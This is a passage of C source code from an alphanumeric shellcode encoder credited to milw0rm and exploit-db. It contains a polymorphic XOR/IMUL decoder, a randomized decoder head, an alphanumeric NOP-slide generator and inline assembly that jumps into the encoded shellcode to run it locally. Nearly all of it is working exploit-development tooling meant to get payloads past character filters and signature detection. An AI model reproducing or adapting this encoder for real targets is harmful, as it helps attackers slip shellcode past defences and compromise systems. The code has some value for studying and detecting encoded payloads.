is_alnum((UCHAR)*(decoder+OFFSET_PUSH_DWORD2))?"valid":"invalid - not alphanumeric!!!");// | |
*(decoder+OFFSET_PUSH_DWORD3) = get_random_alnum_push_dword_opcode(); // | |
printf("push dword3=0x%2X - %s\n", // | |
(UCHAR)*(decoder+OFFSET_PUSH_DWORD3), // | |
is_alnum((UCHAR)*(decoder+OFFSET_PUSH_DWORD3))?"valid":"invalid - not alphanumeric!!!");// | |
*(decoder+OFFSET_PUSH_DWORD4) = get_random_alnum_push_dword_opcode(); // | |
printf("push dword4=0x%2X - %s\n", // | |
(UCHAR)*(decoder+OFFSET_PUSH_DWORD4), // | |
is_alnum((UCHAR)*(decoder+OFFSET_PUSH_DWORD4))?"valid":"invalid - not alphanumeric!!!");// | |
// | |
//bugfix: this time after srand() :) // | |
xor_al1=get_random_alnum_value(); // | |
xor_al2=get_random_alnum_value(); // | |
*(decoder+OFFSET_XOR_AL1_A) = xor_al1; // | |
*(decoder+OFFSET_XOR_AL1_B) = xor_al1; // | |
*(decoder+OFFSET_XOR_AL2_A) = xor_al2; // | |
*(decoder+OFFSET_XOR_AL2_B) = xor_al2; // | |
// | |
memcpy(decoder+OFFSET_RANDOMIZED_DECODER_HEAD, ////// | |
randomize_decoder_head(decoder, size_decoder, xor_al1, *(decoder+offset_jne_xor1)), // <---here-------------------------|---'
SIZE_RANDOMIZED_DECODER_HEAD); ////// |
//set first xor1 to random alnum value (this is the first byte of the encoded data) // |
xor1 = get_random_alnum_value(); // |
printf("xor1=0x%2X - %s\n", // |
(UCHAR)xor1, // |
is_alnum((UCHAR)xor1)?"valid":"invalid - not alphanumeric!!!"); // |
///////////////////////////////////////////////////////// |
RE_RUN: // |
sprintf(alnum_shellcode, "%s",decoder); // |
memset(temp_buf, 0, 3);/////////////////// |
for(i=0; i<size; i++) // |
{ ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////// |
// each original byte is encoded into 3 alphanumeric bytes where first_byte*third_byte^second_byte==original_byte // |
// third_byte is the next encoded original byte's first_byte // |
// the first byte of the terminating key is the last byte's third_byte /////// |
p_xor2_key=get_xor2_and_key_for_xor1_and_c(xor1, shellcode[i]);//get a list of second_byte and third_byte for first_byte// |
if(!p_xor2_key) /////// |
goto RE_RUN; // |
p_xor2_key = choose_random_node(p_xor2_key);//choose a random combination//////////////////////////////////////////// |
key=p_xor2_key->key; // |
xor2=p_xor2_key->xor2; // |
temp_buf[0] = xor1; // |
temp_buf[1] = xor2; // |
strcat(alnum_shellcode, temp_buf); // append it to our decoder // |
xor1=key; // |
free_p_xor2_key(p_xor2_key); // free the list // |
} //get next original_byte // |
//////////////////////// |
if (terminating_key_exist(alnum_shellcode+sizeof(decoder), str_end_of_encoded_shellcode))// |
{ // |
printf("error - terminating key found in encoded shellcode. running again to fix\n");// |
goto RE_RUN; // |
} ///////////////////////////////////////////////////// |
*(UCHAR*)(alnum_shellcode+8) = key; // set the last key of the encoded data to be the first byte of the terminating string |
*(UCHAR*)(alnum_shellcode+9) = get_random_alnum_value(); // choose 3 random alnum bytes for the rest of the terminating string|
*(UCHAR*)(alnum_shellcode+10) = get_random_alnum_value(); // choose 3 random alnum bytes for the rest of the terminating string|
*(UCHAR*)(alnum_shellcode+11) = get_random_alnum_value(); // choose 3 random alnum bytes for the rest of the terminating string|
strncat(alnum_shellcode, // append the terminating string to the decoder+encoded shellcode |
(UCHAR*)(alnum_shellcode+offset_terminating_key), ////////////////////////////// |
4); // |
// |
//bugfix: handle case of esp pointing to shellcode // |
if (!strcmp(Q(REGISTER_WITH_ADDRESS_OF_SHELLCODE), "esp")) // |
{ // |
// _asm{ // |
// push esp; // |
// pop eax; // |
// xor al, 0x36; // |
// xor al, 0x30; // |
// } // |
p_alnum_shellcode = malloc(strlen(alnum_shellcode)+1+6); // |
memset(p_alnum_shellcode, 0, strlen(alnum_shellcode)+1+6); // |
memcpy(p_alnum_shellcode+6, alnum_shellcode, strlen(alnum_shellcode)+1); // |
p_alnum_shellcode[0] = 'T'; // |
p_alnum_shellcode[1] = 'X'; // todo: randomize by using other registers than eax // |
p_alnum_shellcode[2] = '4'; // and using other xor values // |
p_alnum_shellcode[3] = '6'; // <-- (x+6) // |
p_alnum_shellcode[4] = '4'; // // |
p_alnum_shellcode[5] = '0'; // <-- x // |
p_alnum_shellcode[8] = get_push_register_instruction("eax"); // |
p_alnum_shellcode[9] = get_push_register_instruction("eax"); // |
size_decoder += 6; // |
} // |
// |
printf("encoded shellcode length: %d\n", strlen(alnum_shellcode)-size_decoder); // |
printf("decoder length: %d\n%s\n", // |
size_decoder, // |
p_alnum_shellcode); // |
// |
printf("scanning alnum_shellcode for shellcode up to size bytes\n"); // |
found_msg = scan_str_known_pattern(alnum_shellcode, shellcode, size); ///////// |
if (found_msg) printf("shellcode found encoded in alnum_shellcode using %s.\n", found_msg); // |
else printf("shellcode not found encoded in alnum_shellcode.\n"); /////////////////////////// |
// |
if (str_is_alnum(alnum_shellcode)) // |
{ // |
printf("execute shellcode locally? (hit: y and press enter): ");// |
if(tolower(getchar()) == 'y') // |
{ ///////////// |
_asm // |
{ // |
push p_alnum_shellcode; //////// |
pop REGISTER_WITH_ADDRESS_OF_SHELLCODE;// <------------------------------------------------------------------------'
//jump to head of decoder //
jmp REGISTER_WITH_ADDRESS_OF_SHELLCODE;//
} //////////////
} //
} //
else //
{ ///////////////
printf("error non-alphanumeric shellcode\n"); //
} //////////////////////////////
/////////
//
return 0; //////
} //
///////////////////
BOOL arg1_imul_arg2_xor_arg3(UCHAR *alnum_str,
UCHAR *known_pattern,
UINT known_pattern_length,
UINT offset1,
UINT offset2,
UINT offset3)
{
UINT offset,
i,
found;
for (i=found=offset=0; i<known_pattern_length; i++)
{
while(*(alnum_str+offset))
{
if((UCHAR)((alnum_str[offset+offset1]*alnum_str[offset+offset2])^alnum_str[offset+offset3])==
(UCHAR)known_pattern[i])
{
offset+=2;
found++;
break;
}
else if((UCHAR)((alnum_str[offset+offset1+1]*alnum_str[offset+offset2+1])^alnum_str[offset+offset3+1])==
(UCHAR)known_pattern[i])
{
offset+=3;
found++;
break;
}
else
{
found=0;
i=0;
offset++;
}
}
}
if(found == known_pattern_length)
return 1;
else
return 0;
}
BOOL arg1_xor_arg2_imul_arg3(UCHAR *alnum_str,
UCHAR *known_pattern,
UINT known_pattern_length,
UINT offset1,
UINT offset2,
UINT offset3)
{
UINT offset,
i,
found;
for (i=found=offset=0; i<known_pattern_length; i++)
{
while(*(alnum_str+offset))
{
if((UCHAR)((alnum_str[offset+offset1]^alnum_str[offset+offset2])*alnum_str[offset+offset3])==
(UCHAR)known_pattern[i])
{
offset+=2;
found++;
break;
}
else if((UCHAR)((alnum_str[offset+offset1+1]^alnum_str[offset+offset2+1])*alnum_str[offset+offset3+1])==
(UCHAR)known_pattern[i])
{
offset+=3;
found++;
break;
}
else
{
found=0;
i=0;
offset++;
}
}
}
if(found == known_pattern_length)
return 1;
else
return 0;
}
BOOL arg1_imul_key_xor_arg2(UCHAR *alnum_str,
UCHAR *known_pattern,
UINT known_pattern_length,
UCHAR key,
UINT offset1,
UINT offset2)
{
UINT offset,
i,
found;
for (i=found=offset=0; i<known_pattern_length; i++)
{
while(*(alnum_str+offset))
{
if((UCHAR)((alnum_str[offset+offset1]*key)^alnum_str[offset+offset2])==
(UCHAR)known_pattern[i])
{
offset+=2;
found++;
break;
}
else if((UCHAR)((alnum_str[offset+offset1+1]*key)^alnum_str[offset+offset2+1])==
(UCHAR)known_pattern[i])
{
offset+=3;
found++;
break;
}
else
{
found=0;
i=0;
offset++;
}
}
}
if(found == known_pattern_length)
return 1;
else
return 0;
}
UCHAR *scan_str_known_pattern(UCHAR *alnum_str, UCHAR *known_pattern, UINT known_pattern_length)
{
UCHAR *alnum = malloc(strlen(ALNUM_CHARSET)+1);
UCHAR *temp_buf = malloc(255);
strncpy(alnum, ALNUM_CHARSET, strlen(ALNUM_CHARSET));
alnum[strlen(ALNUM_CHARSET)]=0;
memset(temp_buf, 0, 255);
//this is not for production, just a poc...
while(*alnum) {
if (arg1_imul_key_xor_arg2(alnum_str, known_pattern, known_pattern_length, *alnum++, 0, 1))
{
alnum--;
strcat(temp_buf, "(buf[0]*'");
temp_buf[strlen(temp_buf)] = *alnum;
strcat(temp_buf, "')^buf[1]");
return(temp_buf);
}
}
alnum-=strlen(ALNUM_CHARSET);
while(*alnum) {
if (arg1_imul_key_xor_arg2(alnum_str, known_pattern, known_pattern_length, *alnum++, 1, 0))
{
alnum--;
printf("key = 0x%2X ('%c')\n", *alnum, *alnum);
return("found pattern using: (buf[1]*key)^buf[0]\n");
}
}
if (arg1_imul_key_xor_arg2(alnum_str, known_pattern, known_pattern_length, 0x30, 0, 1))
return("(buf[0]*0x30)^buf[1]");
else if (arg1_imul_key_xor_arg2(alnum_str, known_pattern, known_pattern_length, 0x30, 1, 0))
return("(buf[1]*0x30)^buf[0]");
else if (arg1_imul_key_xor_arg2(alnum_str, known_pattern, known_pattern_length, 0x10, 0, 1))
return("(buf[0]*0x10)^buf[1]");
else if (arg1_imul_key_xor_arg2(alnum_str, known_pattern, known_pattern_length, 0x10, 1, 0))
return("(buf[1]*0x10)^buf[0]");
else if (arg1_imul_arg2_xor_arg3(alnum_str, known_pattern, known_pattern_length, 0, 1, 2))
return("(buf[0]*buf[1])^buf[2]");
else if (arg1_imul_arg2_xor_arg3(alnum_str, known_pattern, known_pattern_length, 0, 2, 1))
return("(buf[0]*buf[2])^buf[1]");
else if (arg1_imul_arg2_xor_arg3(alnum_str, known_pattern, known_pattern_length, 1, 2, 0))
return("(buf[1]*buf[2])^buf[0]");
else if (arg1_xor_arg2_imul_arg3(alnum_str, known_pattern, known_pattern_length, 0, 1, 2))
return("(buf[0]^buf[1])*buf[2]");
else if (arg1_xor_arg2_imul_arg3(alnum_str, known_pattern, known_pattern_length, 0, 2, 1))
return("(buf[0]^buf[2])*buf[1]");
else if (arg1_xor_arg2_imul_arg3(alnum_str, known_pattern, known_pattern_length, 1, 2, 0))
return("(buf[1]^buf[2])*buf[0]");
else
return "";
}
BOOL is_alnum(UCHAR c)
{
char *alnum = ALNUM_CHARSET;
char search_c[2] = "";
search_c[0] = c;
return((BOOL)strstr(alnum, search_c));
}
BOOL str_is_alnum(UCHAR *str)
{
ULONG length;
length = strlen(str);
for(;length>0;length--) {
if(
!is_alnum(str[length-1])
)
return 0;
}
return 1;
}
UCHAR get_two_xor_complemets_for_byte_and_xor(UCHAR byte, UCHAR xor, int index)
{
int xor_complement_1, xor_complement_2;
UCHAR two_xor_complements[3];
for(xor_complement_1=0; xor_complement_1<MAX_BYTES; xor_complement_1++)
{
if (is_alnum((UCHAR)xor_complement_1))
{
for(xor_complement_2=0; xor_complement_2<MAX_BYTES; xor_complement_2++)
{
if (is_alnum((UCHAR)xor_complement_2))
{
if(byte == (xor ^ xor_complement_1 ^ xor_complement_2))
{
two_xor_complements[0] = (UCHAR)xor_complement_1;
two_xor_complements[1] = (UCHAR)xor_complement_2;
}
}
}
}
}
if(index == 0 || index == 1)
return two_xor_complements[index];
else
return (UCHAR)0;
}
BOOL terminating_key_exist(UCHAR *alnum_shellcode, UCHAR *terminating_key)
{
return (BOOL) strstr(alnum_shellcode, terminating_key);
}
DWORD ip_str_to_dw(UCHAR *str)
{
DWORD x[4];
int dwIpAddress;
if (!str || MAX_IP_STR_LEN < strlen(str) || strlen(str) < MIN_IP_STR_LEN)
return -1;
sscanf(str, "%d.%d.%d.%d", &x[0],&x[1],&x[2],&x[3]);
x[3] = x[3] > 255 ? -1 : (x[3] <<= 24);
x[2] = x[2] > 255 ? -1 : (x[2] <<= 16);
x[1] = x[1] > 255 ? -1 : (x[1] <<= 8);
x[0] = x[0] > 255 ? -1 : (x[0] <<= 0);
dwIpAddress = x[0]+x[1]+x[2]+x[3];
return dwIpAddress;
}
DWORD my_htonl(DWORD dw_in)
{
DWORD dw_out;
*((UCHAR *)&dw_out+3) = *((UCHAR *)&dw_in+0);
*((UCHAR *)&dw_out+2) = *((UCHAR *)&dw_in+1);
*((UCHAR *)&dw_out+1) = *((UCHAR *)&dw_in+2);
*((UCHAR *)&dw_out+0) = *((UCHAR *)&dw_in+3);
return dw_out;
}
void free_p_xor2_key(struct xor2_key *node)
{
struct xor2_key *temp = 0;
if(node)
{
temp = node->prev;
while(node->next)
{
node=node->next;
free(node->prev);
}
free(node);
}
if(temp)
{
while(temp->prev)
{
temp=temp->prev;
free(temp->next);
}
free(temp);
}
}
struct xor2_key *choose_random_node(struct xor2_key *head)
{
int num_nodes = 1, selected_node, i;
struct xor2_key* tail = head;
struct xor2_key* pn = NULL ;
if (!head || !head->key)
return 0;
while(tail->next)
{
tail = tail->next;
num_nodes++;
}
selected_node = rand()%num_nodes;
for(i=0; i<selected_node; i++)
head = head->next;
return head;
}
struct xor2_key *get_xor2_and_key_for_xor1_and_c(UCHAR xor1, UCHAR c)
{
struct xor2_key *p_xor2_key, *p_xor2_key_head;
char *alnum = ALNUM_CHARSET;
UINT i=0,
z=1,
r=0,
count=0;
UCHAR xor2=0,
x=0;
p_xor2_key_head = p_xor2_key = malloc(sizeof(xor2_key));
p_xor2_key->prev = 0;
p_xor2_key->next = 0;
p_xor2_key->key = 0;
p_xor2_key->xor2 = 0;
for(i=0; alnum[i]; i++)
{
for(x=0; alnum[x];x++)
{
xor2 = alnum[x];
if (((UCHAR)(xor1 * alnum[i]) ^ xor2) == c)
{
p_xor2_key->xor2 = xor2;
p_xor2_key->key = alnum[i];
p_xor2_key->next = malloc(sizeof(struct xor2_key));
p_xor2_key->next->prev = p_xor2_key;
p_xor2_key = p_xor2_key->next;
p_xor2_key->key=0;
p_xor2_key->xor2=0;
}
}
}
if(!p_xor2_key->key)
p_xor2_key->next = 0;
if (p_xor2_key->prev)
p_xor2_key = p_xor2_key->prev;
else
return 0;
free(p_xor2_key->next);
p_xor2_key->next=0;
return p_xor2_key_head;
}
UCHAR *shuffle(UCHAR str[], UINT length) //length does not include terminating null.
{
UINT last, randomNum;
UCHAR temporary;
UCHAR *output = malloc(length);
memcpy(output, str, length);
for (last = length; last > 1; last--)
{
randomNum = rand( ) % last;
temporary = output[randomNum];
output[randomNum] = output[last-1];
output[last-1] = temporary;
}
memcpy(str, output, length);
return output;
}// taken from: http://www.warebizprogramming.com/text/cpp/section6/part8.htm
UCHAR *slide_substr_back(UCHAR *str, UINT substr_offset, UINT substr_len, UINT str_len, UINT slide)
{
UCHAR *prefix_substr,
*substr,
*suffix_substr,
*output_str;
UINT prefix_substr_len,
suffix_substr_len;
if(slide > substr_offset) {
printf("you can't slide it that far back!\n");
return 0;
}
output_str = malloc(str_len);
memset(output_str, 0 , str_len);
suffix_substr_len = str_len-substr_len-substr_offset;
suffix_substr = malloc(suffix_substr_len);
memset(suffix_substr, 0, suffix_substr_len);
prefix_substr_len = substr_offset;
prefix_substr = malloc(prefix_substr_len);
memset(prefix_substr, 0, prefix_substr_len);
substr = malloc(substr_len);
memset(substr, 0, substr_len);
strncpy(substr, str+substr_offset, substr_len);
strncpy(prefix_substr, str, prefix_substr_len);
strncpy(suffix_substr, str+substr_offset+substr_len, suffix_substr_len);
strncpy(output_str, prefix_substr, prefix_substr_len-slide);
strncpy(output_str+prefix_substr_len-slide, substr, substr_len);
strncpy(output_str+prefix_substr_len-slide+substr_len, str+substr_offset-slide, slide);
strncpy(output_str+prefix_substr_len-slide+substr_len+slide, str+substr_offset+substr_len, suffix_substr_len);
free(prefix_substr);
free(suffix_substr);
free(substr);
return output_str;
}
UCHAR *slide_substr_forward(UCHAR *str, UINT substr_offset, UINT substr_len, UINT str_len, UINT slide)
{
UCHAR *prefix_substr,
*substr,
*suffix_substr,
*output_str;
UINT prefix_substr_len,
suffix_substr_len;
if(slide > str_len-substr_len-substr_offset) {
printf("you can't slide it that far forward!\n");
return 0;
}
output_str = malloc(str_len);
memset(output_str, 0 , str_len);
suffix_substr_len = str_len-substr_len-substr_offset;
suffix_substr = malloc(suffix_substr_len);
memset(suffix_substr, 0, suffix_substr_len);
prefix_substr_len = substr_offset;
prefix_substr = malloc(prefix_substr_len);
memset(prefix_substr, 0, prefix_substr_len);
substr = malloc(substr_len);
memset(substr, 0, substr_len);
strncpy(substr, str+substr_offset, substr_len);
strncpy(prefix_substr, str, prefix_substr_len);
strncpy(suffix_substr, str+substr_offset+substr_len, suffix_substr_len);
strncpy(output_str, prefix_substr, prefix_substr_len);
strncpy(output_str+prefix_substr_len, suffix_substr, slide);
strncpy(output_str+prefix_substr_len+slide, substr, substr_len);
strncpy(output_str+prefix_substr_len+slide+substr_len, suffix_substr+slide, suffix_substr_len-slide);
free(prefix_substr);
free(suffix_substr);
free(substr);
return output_str;
}
UCHAR *get_nop_slide(UINT size, UINT slide)
{ //simple alnum nop slide generator
UINT i, x, append_dec_eax = 0;
UCHAR alnum_nop[][3] = {
"AI", //inc ecx;dec ecx // (alnum_nop[0])
"BJ", //inc edx;dec edx // (alnum_nop[1])
"CK", //inc ebx;dec ebx // (alnum_nop[2])
"EM", //inc ebp;dec ebp // (alnum_nop[3])
"FN", //inc esi;dec esi // (alnum_nop[4])
"GO", //inc edi;dec edi // (alnum_nop[5]) [we don't care about eax value before the imul]
"HG", //dec eax;inc edi // (alnum_nop[6]) --- not allowed in nop_slide_2 [instruction as it overwrites eax with result ]
"HO", //dec eax;dec edi // (alnum_nop[7]) --- not allowed in nop_slide_2 [and we don't care about edi value at all. ]
"DL", //inc esp;dec esp // (alnum_nop[8]) --- [todo: need to preserve stack state] >--. //we can freely inc/dec esp for now
// "PX", //push eax;pop eax// (alnum_nop[9]) --- [todo: need to preserve stack state] >--| //but we need to take it into account
// "QY", //push ecx;pop ecx// (alnum_nop[10]) ---[todo: need to preserve stack state] >--| //once we start pushing/poping to/from
// "RZ", //push edx;pop edx// (alnum_nop[11]) ---[todo: need to preserve stack state] >--' //the stack.
// |
//TODO: <-----------------------------------------------------------------------------------'
// push eax push eax push eax push ecx push edx
// pop eax push ecx push ecx dec esp pop edx
// push ecx pop ecx push edx inc esp push ecx
// pop ecx pop eax inc esp pop ecx pop ecx
// push edx push edx dec esp push eax push eax
// pop edx pop edx pop edx inc esp pop eax
// pop ecx dec esp .
// pop eax pop eax .
// push edx .
// pop edx etc...
};
UCHAR *nop_slide;
nop_slide = malloc(size);
memset(nop_slide, 0, size);
if(size%2)
{
append_dec_eax = 1;
size--;
}
for(i=0; i<(size/2); i++) {
do
x = rand()%(sizeof(alnum_nop)/3);
while
((slide==2)&&(x==6||x==7));
strcat(nop_slide, alnum_nop[x]);
}
if(append_dec_eax)
{
strcat(nop_slide, slide==1?"H":rand()%2?"G":"O"); //dec eax or inc/dec edi - depends on which nop slide
}
return nop_slide;
}
UCHAR get_random_alnum_push_dword_opcode()
{
UCHAR alnum_push_dword_opcode[] =
{
'P', //0x50 push eax
'Q', //0x51 push ecx
'R', //0x52 push edx
'S', //0x53 push ebx
'T', //0x54 push esp
'U', //0x55 push ebp
'V', //0x56 push esi
'W' //0x57 push edi
};
return alnum_push_dword_opcode[rand()%sizeof(alnum_push_dword_opcode)];
}
UCHAR get_random_alnum_value()
{
char alnum_values[] = ALNUM_CHARSET;
return alnum_values[rand()%strlen(alnum_values)];
}
UCHAR get_push_register_instruction(UCHAR *reg)
{
if (!strcmp(reg, "eax")) return 'P'; //0x50 push eax
else if (!strcmp(reg, "ecx")) return 'Q'; //0x51 push ecx
else if (!strcmp(reg, "edx")) return 'R'; //0x52 push edx
else if (!strcmp(reg, "ebx")) return 'S'; //0x53 push ebx
else if (!strcmp(reg, "esp")) return 'T'; //0x54 push esp
else if (!strcmp(reg, "ebp")) return 'U'; //0x55 push ebp
else if (!strcmp(reg, "esi")) return 'V'; //0x56 push esi
else if (!strcmp(reg, "edi")) return 'W'; //0x57 push edi
else return 0;
}
UCHAR *randomize_decoder_head(UCHAR *decoder, UINT size_decoder, UCHAR xor_al1, UCHAR jne_xor1)
{
UCHAR states[11] = {0,1,2,3,4,5,6,7,8,9,10};
UCHAR instructions[11][3];
UCHAR instruction_comments[11][28];
UINT i,c, state;
UCHAR *output;
UCHAR *random_states;
UCHAR *p_state[5];
output = malloc(17);
memset(output, 0, 17);
memset(instructions, 0, 11*3);
memset(instruction_comments, 0, 11*28);
instructions[0][0] = '\x6a'; //j
instructions[0][1] = xor_al1; //
instructions[1][0] = '\x58'; //X
instructions[2][0] = '\x34'; //4
instructions[2][1] = xor_al1; //
instructions[3][0] = '\x48'; //H
instructions[4][0] = '\x34'; //4
instructions[4][1] = jne_xor1; //
instructions[5][0] = '\x30'; //0
instructions[5][1] = '\x42'; //B
instructions[5][2] = size_decoder-1; //
instructions[6][0] = '\x52'; //R
instructions[7][0] = '\x52'; //R
instructions[8][0] = '\x59'; //Y
instructions[9][0] = '\x47'; //G
instructions[10][0] = '\x43'; //C
strcat(instruction_comments[0], "push XOR_AL1");
strcat(instruction_comments[1], "pop eax");
strcat(instruction_comments[2], "xor al, XOR_AL1");
strcat(instruction_comments[3], "dec eax");
strcat(instruction_comments[4], "xor al, JNE_XOR1");
strcat(instruction_comments[5], "xor byte ptr [edx+size], al");
strcat(instruction_comments[6], "push edx");
strcat(instruction_comments[7], "push edx");
strcat(instruction_comments[8], "pop ecx");
strcat(instruction_comments[9], "inc edi");
strcat(instruction_comments[10], "inc ebx");
do {
memset(p_state, 0, sizeof(UCHAR*)*5);
random_states = shuffle(states, 11);
//.*0.*1.*2.*3.*4.*5
p_state[0] = memchr(random_states, 0, 11);
if(p_state[0])
p_state[1] = memchr(p_state[0], 1, 11-(p_state[0]-random_states));
if(p_state[1])
p_state[1] = memchr(p_state[1], 2, 11-(p_state[1]-random_states));
if(p_state[1])
p_state[1] = memchr(p_state[1], 3, 11-(p_state[1]-random_states));
if(p_state[1])
p_state[1] = memchr(p_state[1], 4, 11-(p_state[1]-random_states));
if(p_state[1])
p_state[1] = memchr(p_state[1], 5, 11-(p_state[1]-random_states));
//.*[67].*8
if(p_state[1])
{
p_state[2] = memchr(random_states, 6, 11);
p_state[3] = memchr(p_state[2], 8, 11-(p_state[2]-random_states));
if(!p_state[3])
{
p_state[2] = memchr(random_states, 7, 11);
p_state[3] = memchr(p_state[2], 8, 11-(p_state[2]-random_states));
}
if(p_state[3])
{
//.*1.*[67].*[67]
if(p_state[2] && p_state[1] < p_state[2])
p_state[4] = memchr(p_state[2], *p_state[2]==6?7:6, 11-(p_state[2]-random_states));
//.*0.*[67].*8.*1
if(!p_state[4])
p_state[4] = memchr(p_state[0], 6, 11-(p_state[0]-random_states));
if(!p_state[4])
p_state[4] = memchr(p_state[0], 7, 11-(p_state[0]-random_states));
if(p_state[4])
p_state[4] = memchr(p_state[4], 8, 11-(p_state[4]-random_states));
if(p_state[4])
p_state[4] = memchr(p_state[4], 1, 11-(p_state[4]-random_states));
//.*[67].*8.*0.*1.*[67]
if(!p_state[4])
p_state[4] = memchr(p_state[3], 0, 11-(p_state[3]-random_states));
if(p_state[4])
p_state[4] = memchr(p_state[4], 1, 11-(p_state[3]-random_states));
if(p_state[4])
p_state[4] = memchr(p_state[4], *p_state[3]==6?7:6, 11-(p_state[4]-random_states));
}
}
}
while (!p_state[4]);
for (c=state=0; state<sizeof(states); state++) {
i=0;
while (instructions[random_states[state]][i] && i < 3) {
output[c] = instructions[random_states[state]][i];
i++;
c++;
}
}
printf("======================\ndecoder head instruction order: %x %x %x %x %x %x %x %x %x %x %x\n",
random_states[0],
random_states[1],
random_states[2],
random_states[3],
random_states[4],
random_states[5],
random_states[6],
random_states[7],
random_states[8],
random_states[9],
random_states[10]
);
printf("%s\n" \
"%s\n" \
"%s\n" \
"%s\n" \
"%s\n" \
"%s\n" \
"%s\n" \
"%s\n" \
"%s\n" \
"%s\n" \
"%s\n======================\n",
instruction_comments[random_states[0]],
instruction_comments[random_states[1]],
instruction_comments[random_states[2]],
instruction_comments[random_states[3]],
instruction_comments[random_states[4]],
instruction_comments[random_states[5]],
instruction_comments[random_states[6]],
instruction_comments[random_states[7]],
instruction_comments[random_states[8]],
instruction_comments[random_states[9]],
instruction_comments[random_states[10]]);
return output;
}
// milw0rm.com [2008-08-04]
- Источник
- www.exploit-db.com